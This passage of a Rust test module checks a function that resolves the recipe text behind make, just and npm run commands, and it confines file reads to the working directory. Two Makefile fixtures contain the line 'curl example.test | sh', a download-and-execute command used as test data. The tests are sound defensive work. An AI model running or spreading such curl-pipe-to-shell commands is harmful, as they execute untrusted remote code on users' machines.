            "build: ; curl example.test | sh\n\techo visible\n",
        );
        assert_eq!(resolve_recipe(tmp.path(), "make", &argv(&["build"])), None);

        write(
            tmp.path(),
            "Makefile",
            "other: ; curl example.test | sh\n\nbuild:\n\techo one\n",
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["build"])),
            Some("echo one".to_string()),
            "another target's rule-line recipe is not this target's ambiguity"
        );
    }

    /// A makefile is not where a variable assignment is read as a rule.
    #[test]
    fn make_does_not_read_an_assignment_as_a_rule() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "Makefile",
            "build := something\n\ndeploy:\n\techo one\n",
        );

        assert_eq!(resolve_recipe(tmp.path(), "make", &argv(&["build"])), None);
    }

    // ── npm run ──────────────────────────────────────────────────────────────

    /// The string value of `scripts.<script>`.
    #[test]
    fn npm_resolves_a_script_body() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "package.json",
            r#"{"scripts": {"build": "tsc -p .", "test": "vitest"}}"#,
        );

        for subcommand in ["run", "run-script"] {
            assert_eq!(
                resolve_recipe(tmp.path(), "npm", &argv(&[subcommand, "build"])),
                Some("tsc -p .".to_string()),
                "{subcommand} names the same script"
            );
        }
    }

    /// A `pre`/`post` sibling means no single body describes what will run.
    #[test]
    fn npm_declines_a_script_wrapped_by_a_pre_or_post_hook() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "package.json",
            r#"{"scripts": {"prebuild": "clean", "build": "tsc"}}"#,
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "npm", &argv(&["run", "build"])),
            None
        );

        write(
            tmp.path(),
            "package.json",
            r#"{"scripts": {"build": "tsc", "postbuild": "sign"}}"#,
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "npm", &argv(&["run", "build"])),
            None
        );
    }

    /// Invalid JSON, a missing script, a flag, a workspace selector and a bare `npm run` are all
    /// absence rather than a body.
    #[test]
    fn npm_declines_what_it_does_not_model() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "package.json", "{not json");
        assert_eq!(
            resolve_recipe(tmp.path(), "npm", &argv(&["run", "build"])),
            None
        );

        write(
            tmp.path(),
            "package.json",
            r#"{"scripts": {"build": "tsc"}}"#,
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "npm", &argv(&["run", "absent"])),
            None
        );
        assert_eq!(resolve_recipe(tmp.path(), "npm", &argv(&["run"])), None);
        assert_eq!(
            resolve_recipe(tmp.path(), "npm", &argv(&["run", "build", "--", "-v"])),
            None
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "npm", &argv(&["run", "-w", "pkg", "build"])),
            None
        );
        assert_eq!(resolve_recipe(tmp.path(), "npm", &argv(&["install"])), None);
    }

    // ── confinement and recognition ──────────────────────────────────────────

    /// Neither a `../` include nor a symlink reaches a file outside the workdir: both resolve to
    /// nothing rather than being read.
    #[test]
    fn nothing_outside_the_workdir_is_read() {
        let outer = TempDir::new().unwrap();
        let workdir = outer.path().join("work");
        fs::create_dir(&workdir).unwrap();
        fs::write(outer.path().join("secret.mk"), "build:\n\techo secret\n").unwrap();

        write(
            &workdir,
            "Makefile",
            "include ../secret.mk\nbuild:\n\techo local\n",
        );
        assert_eq!(resolve_recipe(&workdir, "make", &argv(&["build"])), None);

        fs::write(outer.path().join("secret.just"), "build:\n  echo secret\n").unwrap();
        std::os::unix::fs::symlink(outer.path().join("secret.just"), workdir.join("justfile"))
            .unwrap();
        assert_eq!(resolve_recipe(&workdir, "just", &argv(&["build"])), None);
    }

    /// Recognition keys on the invoked name alone. A tool with no parser, and a shell
    /// interpreter carrying a build-tool invocation in its script text, both resolve to nothing.
    #[test]
    fn only_the_three_recognized_tool_names_resolve() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "justfile", "build:\n  echo one\n");

        assert_eq!(
            resolve_recipe(tmp.path(), "bash", &argv(&["-c", "just build"])),
            None
        );
        assert_eq!(resolve_recipe(tmp.path(), "cargo", &argv(&["build"])), None);
        assert_eq!(resolve_recipe(tmp.path(), "gmake", &argv(&["build"])), None);
    }

    /// A workdir with no recipe file at all is absence, and no panic.
    #[test]
    fn an_empty_workdir_resolves_to_nothing() {
        let tmp = TempDir::new().unwrap();

        assert_eq!(resolve_recipe(tmp.path(), "just", &argv(&["build"])), None);
        assert_eq!(resolve_recipe(tmp.path(), "make", &argv(&["build"])), None);
        assert_eq!(
            resolve_recipe(tmp.path(), "npm", &argv(&["run", "build"])),
            None
        );
    }
}